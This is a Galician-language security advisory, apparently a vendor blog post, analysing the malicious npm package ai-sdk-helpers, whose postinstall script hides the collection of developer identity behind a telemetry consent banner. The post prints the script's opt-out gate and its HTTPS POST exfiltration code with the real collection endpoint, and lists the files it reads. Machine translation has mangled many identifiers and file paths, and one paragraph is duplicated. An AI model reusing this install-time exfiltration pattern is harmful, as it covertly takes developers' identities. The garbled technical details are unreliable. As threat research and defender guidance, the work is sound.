ConsentMask O paquete npm que oculta a recolección de identidades de desenvolvedores

ConsentMask: Un paquete npm que usa unha bandeira de consentimento de telemetría sobre a recollida de identidade do desenvolvedor

TL, RD

Un único paquete npm, axudantes-ai-sdk, preséntase como un conxunto de ferramentas de produción para o SDK de IA de Vercel, que ofrece seguimento de custos, recursos de reserva para provedores e axudantes de transmisión.

O seu script de instalación ábrese cun banner de divulgación pulido que describe diagnósticos anónimos, prometendo que non se transmite código fonte, tokens nin credenciais, cumprindo un DO_NOT_TRACK exclusión voluntaria e ligazón a unha páxina de política de telemetría.

O mesmo script le a identidade git do desenvolvedor, a configuración da CLI de GitHub, o nome de host da máquina, o nome de usuario do sistema operativo, o directorio de traballo e o provedor de CI.

Eses datos envíanse como JSON a un punto final de Google Cloud Run, o que crea unha clara discrepancia entre a política de telemetría indicada e os campos reais recollidos.

O paquete publicouse en vinte e dúas versións nunha única ráfaga de 83 segundos, e o script de instalación é idéntico byte a byte en todas as versións sinalizadas.

Sete das oito versións revisadas polo noso pipeline foron cualificados como inconclusos polo clasificador de ML porque o estilo do banner de consentimento se lee como telemetría lexítima.

Clasificamos ai-sdk-helpers como malicioso baseándose na recollida e exfiltración da identidade do desenvolvedor no momento da instalación.

Gravidade: alta.

 Anatomía da instalación

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

postinstalación execútase automaticamente en npm instalar, antes de importar calquera código anunciado do paquete. O script scripts/postinstalación.js é onde reside todo o comportamento en tempo de instalación.

Ábrese cun bloque de comentarios e un aviso de tempo de execución escrito no rexistro dun proxecto de código aberto respectuoso coa privacidade:

>Cando instalas ai-sdk-helpers, executamos unha comprobación rápida de compatibilidade do entorno e informamos de diagnósticos anónimos... Os datos son totalmente anónimos: recompilamos a túa plataforma, a versión de Node e un hash unidireccional do identificador da túa máquina. Nunca se transmite código fonte, tokens nin credenciais.

Incluso conecta unha porta de exclusión voluntaria que funciona, o primeiro código executable do ficheiro:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

Atar esta porta primeiro é o que fai que o resto se lea como consensuado: un desenvolvedor que establece `D_NON_PISTA` completa a instalación silenciosamente e conclúe que o paquete respecta a convención. A exclusión voluntaria é real. O que abre, para todos os que non a configuren, é a colección descrita a continuación, non a "plataforma, versión de Node e un hash unidireccional" máis restrinxida que nomea o aviso.

Debaixo desa porta, o script ensambla unha carga útil que vai máis alá desa descrición.

  • *Gidentidade t.* rresolverScmIdentidade()` cabezas `~`.gitconfig`,`~`.config/git/config`,e o ` do proxecto actual.`it/configuración`,analiza o `[ser]` sección e devolve o configurado commit correo electrónico. Se ningún ficheiro de configuración produce un correo electrónico, recorre ao `GCORREO_ELECTRÓNICO_DE_AUTOR`GT_COMMITTER_EMAIL`,e `EAIL` variables de ambiente. Unha docstring enriba da función enmarca a lectura como unha forma de "deduplicar instalacións en máquinas propiedade da mesma persoa (por exemplo, portátil + CI)", un propósito declarado que require un identificador estable por desenvolvedor, que commit subministracións de correo electrónico.
  • *GConta de tHub.* r`solveGitHubIdentity()` cabezas `~`.config/gh/hosts.yml` e `~`.config/gh/hosts.yaml` o ficheiro de configuración escrito pola CLI de GitHub cando un desenvolvedor se autentica e extrae a expresión regular do `uer:` e `eail:` campos. Ese ficheiro tamén almacena o token OAuth de GitHub; a expresión regular do script ten como obxectivo as liñas de nome de usuario e correo electrónico especificamente e non extrae o token. Polo tanto, a afirmación "non se transmiten tokens... nunca" do banner de divulgación é literalmente certa para ese campo mentres se len e envían os identificadores de conta circundantes.
  • *Hpegada dixital st e CI.* O guión entón recolle `o.nome_de_host()`,`o.userInfo().nomeDeUsuario`,a versión, plataforma e arquitectura de Node, `p`ocess.cwd()`,e unha etiqueta de provedor de CI resolta comprobando as variables de ambiente para oito provedores (Accións de GitHub, CI de GitLab, Jenkins, CircleCI, Travis, Buildkite e dous indicadores de CI xenéricos). A lista de provedores lese como un inventario de onde o script espera executarse: shells interactivos e compilación automatizada. pipelineé igual.

Todos estes están agrupados nun só `dagnósticos obxecto, cos campos por desenvolvedor recollidos baixo un `ientidade e os datos do host baixo `rtempo_n e `ctexto n eys, logo serializado e transmitido:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

A resposta descártase e todos os erros son tragados; un comentario sinala que «a telemetría nunca debe interromper a instalación». O nome do host do punto final codifica un servizo de Google Cloud Run no `ecorda-oeste1` rexión.

A brecha é a historia. O banner nomea tres categorías de datos: plataforma, versión de Node e hash do identificador de máquina. A carga útil envía o git real dun desenvolvedor commit correo electrónico, o seu nome de usuario e correo electrónico de GitHub, o nome de host da súa máquina e o nome da conta do sistema operativo, a ruta do seu proxecto e o seu entorno de CI. Os campos que identifican un *ppersoa e as súas contas* son exactamente os campos que omite a divulgación.

O README reforza o encuadre desde o outro lado. A súa sección de "Telemetría" repite a afirmación de anonimato e vincula a palabra `D_NON_PISTA` o `cnsoledonottrack.com`,a páxina da comunidade real que documenta a convención de exclusión voluntaria, tomando prestada unha política de privacidade recoñecida standard para que o aviso se lea como rutina.

Timeline

Este é un achado dun só paquete cun historial de publicación moi curto e moi denso. Non hai ningún arco de campaña de varias semanas que rastrexar: todo o rango de versións foi lanzado a velocidade de máquina.

Cando (UTC) evento
2026-06-03 20:31:20 Primeira versión (0.1.0) publicado en npm.
2026-06-03 20:31:20 – 20:32:43 Todas as 22 versións (0.1.0 a través 1.4.2) publicado nunha ráfaga automatizada de 83 segundos.
2026-06-04 Oito versións sinaladas por sinais de detección; a análise manual confirma a recollida e exfiltración de identidade no momento da instalación. O paquete seguía activo en npm no momento da análise.

A xanela de 83 segundos en 22 versións semánticas é en si mesma un indicador de comportamento: a escaleira de versións (`01.0`,`01.1`,… `14.2`)presenta a superficie dun proxecto mantido activamente cun historial de versións, producido nunha execución con script. O script de instalación non cambia ao longo desa escaleira; véxase máis abaixo.

Indicadores de compromiso

A carga útil en tempo de instalación é idéntica en todo o rango de versións publicadas. A `dff` f `sripts/postinstall.js` versión 02.1` ª versión `14.2` Non devolve diferenzas; o comportamento é unha pegada dixital fixa, non unha carga útil en evolución.

Rede

A xanela de 83 segundos en 22 versións semánticas é en si mesma un indicador de comportamento: a escaleira de versións (`01.0`,`01.1`,… `14.2`)presenta a superficie dun proxecto mantido activamente cun historial de versións, producido nunha execución con script. O script de instalación non cambia ao longo desa escaleira; véxase máis abaixo.

Indicadores de compromiso

A carga útil en tempo de instalación é idéntica en todo o rango de versións publicadas. A `dff` f `sripts/postinstall.js` versión 02.1` ª versión `14.2` Non devolve diferenzas; o comportamento é unha pegada dixital fixa, non unha carga útil en evolución.

Rede

Indicador Papel
npm-package-logger-228835561205.europe-west1.run.app Punto final de exfiltración que recibe solicitudes HTTPS POST con cargas útiles JSON. Aloxado en Google Cloud Run no europe-west1 rexión.

Infraestrutura de señuelo

Indicador Papel
ai-sdk.guide Páxina de inicio do paquete e sitio web en directo que respaldan a identidade de autor da "Guía do SDK de IA".
ai-sdk.guide/telemetry URL da política de telemetría á que se fai referencia no aviso de divulgación en tempo de instalación.
hello@ai-sdk.guide Correo electrónico do autor declarado en package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Repositorio fonte declarado polo paquete.

Ficheiros lidos no momento da instalación

  • -`.gitconfig`,`~`.config/git/config`,`<wd>/.git/config` git `[ser]` correo
  • - `.config/gh/hosts.yml`,`~`.config/gh/hosts.yaml` Interfaz de liña de comandos de GitHuber` `eail`

Sinaturas de comportamento

  • – m `pinstalación ook invocando un script de Node incluído
  • – porta de exclusión voluntaria (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NON_PISTA`)presentado como unha función de privacidade, antes da recollida de identidade
  • – POST HTTPS tbound dun obxecto JSON que contén o correo electrónico de git, a identidade de GitHub, o nome do host, o nome de usuario do sistema operativo, a opción cwd e a etiqueta CI
  • – script de instalación te-idéntico nunha escaleira de versións publicada rapidamente

 Atribución e comportamento observado
Non atribuímos nada máis alá do que rexistran os metadatos do paquete e do rexistro.

O responsable do mantemento do rexistro de npm é a conta `aIelsimon,co enderezo `aiel@vigilance.security`.O rexistro indica que o correo electrónico non está verificado e que a identidade de control de orixe da conta non está verificada. O `p`ckage.json`,por separado, presenta o autor como "Guía do SDK de IA"ello@ai-sdk.guide>`”cunha páxina de inicio de `a-sdk.guide` e un repositorio de código fonte baixo un `gOrganización `thub.com/ai-sdk-guide`. O dominio de correo electrónico da conta de publicación (`vigilance.security`)e a identidade do autor no paquete (`a-sdk.guide`)son dominios diferentes.

O `a-sdk.guide` O ite está en directo e responde, e o `/`elemetría ath resolve: a identidade señuelo está respaldada por unha presenza web accesible en lugar dunha ligazón morta, o que aumenta a credibilidade da estrutura do paquete.

**Capacidade observada.** No momento da instalación, o paquete le a identidade do programador e os ficheiros de configuración da conta, toma as impresións dixitais do host e do ambiente de CI e transmite o resultado a un punto final controlado polo operador, ao tempo que mostra un aviso que describe un conxunto de datos máis limitado e anonimizado. Describimos este comportamento; non afirmamos ningún motivo para el. Os lectores que avalíen o paquete, incluída calquera parte que recoñeza a identidade de publicación, deben sopesar a discrepancia observable entre os fluxos de datos declarados e os reais.

Impacto, tendencias e orientación para defensores/as

Quen está exposto. Calquera persoa que instale axudantes-ai-sdk — directamente ou como unha dependencia transitiva — executa a colección nesa máquina. Dado que o disparador é postinstalación, o código da biblioteca anunciado nunca ten que ser importado para que se produza o fluxo de datos; a instalación por si soa é suficiente. Os entornos de maior valor son as estacións de traballo de desenvolvedores cunha identidade git configurada e unha CLI de GitHub autenticada, e os executores de CI, onde a detección do provedor de CI do script indica que se espera que a colección se execute dentro da compilación. pipelines así como en portátiles.

O que expón. Non son segredos de aplicación no caso xeral: a carga útil céntrase en identidadedo desenvolvedor commit correo electrónico, o nome e o correo electrónico da súa conta de GitHub, os nomes da máquina e da conta e a ruta do proxecto. Iso é unha preciso mapa de quen instalou o paquete, en que máquina, en que repositorio e baixo que sistema de integración continua. Para unha organización, un puñado destes rexistros xuntos enumerarían que enxeñeiros e que sistemas de compilación extraeron a dependencia, o que é útil como precursor dunha actividade posterior máis específica, mesmo que o propio comportamento deste paquete se deteña na recollida e transmisión.

A tendencia: a telemetría como cobertura. As ferramentas lexítimas para desenvolvedores recompilan diagnósticos de instalación anonimizados e as convencións para facelo de forma respectuosa: un aviso de divulgación, un NON_SEGUIR honra, un indicador de exclusión voluntaria, un URL de política: son ben coñecidos. axudantes-ai-sdk reproduce fielmente esas catro convencións e úsaas como envoltorio para a recollida de identidade. A presenza dun banner de consentimento, unha opción de exclusión funcional ou unha ligazón a unha política de privacidade non é evidencia de que un paquete sexa fiable; eses controis son baratos de imitar. A única comprobación fiable é o que o código le realmente e onde o envía realmente.

Esta embalaxe tamén ten un efecto medible na triaxe automatizada. En todas as versións, as nosas pipeline revisados, os comentarios en linguaxe clara do script de instalación, os nomes de campo estruturados e a porta de exclusión convencional puntuáronse como telemetría ordinaria: sete dos oito devolveron inconsecuente do clasificador de aprendizaxe automática en lugar de malicioso. O sinal que resolve a ambigüidade non está na prosa, senón nos ficheiros específicos que abre o script (~/.gitconfig, ~/.config/gh/hosts.yml) e o destino ao que envía. Un revisor, automatizado ou humano, que lea a divulgación e se deteña alí chegará a unha conclusión incorrecta; a determinación ten que vir dos feitos do fluxo de datos.

Guía para os defensores:

  • Instalar cos scripts desactivados por defecto — instalación de npm –ignore-scripts, ou conxunto ignorar-scripts=verdadeiro in .npmrc e executar pasos de compilación verificados explicitamente. Isto neutraliza postinstalación-recadación desencadeada en todos os ámbitos.
  • Non trates os controis de exclusión voluntaria como sinais de confianza. A NON_SEGUIR Unha ligazón de "política de telemetría" ou unha comprobación non indican nada sobre os datos que recompila un script cando a porta non está configurada.
  • Lea o gancho de instalación antes de adoptar paquetes auxiliares de ecosistemas de IA. O espazo do SDK de IA de Vercel é un obxectivo de alta confianza e en rápida evolución; un postinstalación que toca ~/.gitconfig or ~/.config/gh/ é un sinal claro independentemente de como estean escritos os comentarios circundantes.
  • Monitorizar a saída en tempo de compilación. Un POST HTTPS de saída durante npm instalar, especialmente para un punto final de función na nube recentemente aprovisionado, é observable na capa de rede e é un punto de detección forte para os entornos de CI.
  • Atención ás escaleiras de versións comprimidas. Un paquete cuxo historial completo de versións semánticas aparece en cuestión de segundos, cun script de instalación que non cambia, presenta un historial de mantemento fabricado.
ferramentas-sca-tools-software-ferramentas-de-análise-de-composición
Priorizar, corrixir e protexer os riscos do software
Obtén a túa conta gratuíta.
Non se precisa tarxeta de crédito.

Asegura o desenvolvemento e a entrega do teu software

con Xygeni Product Suite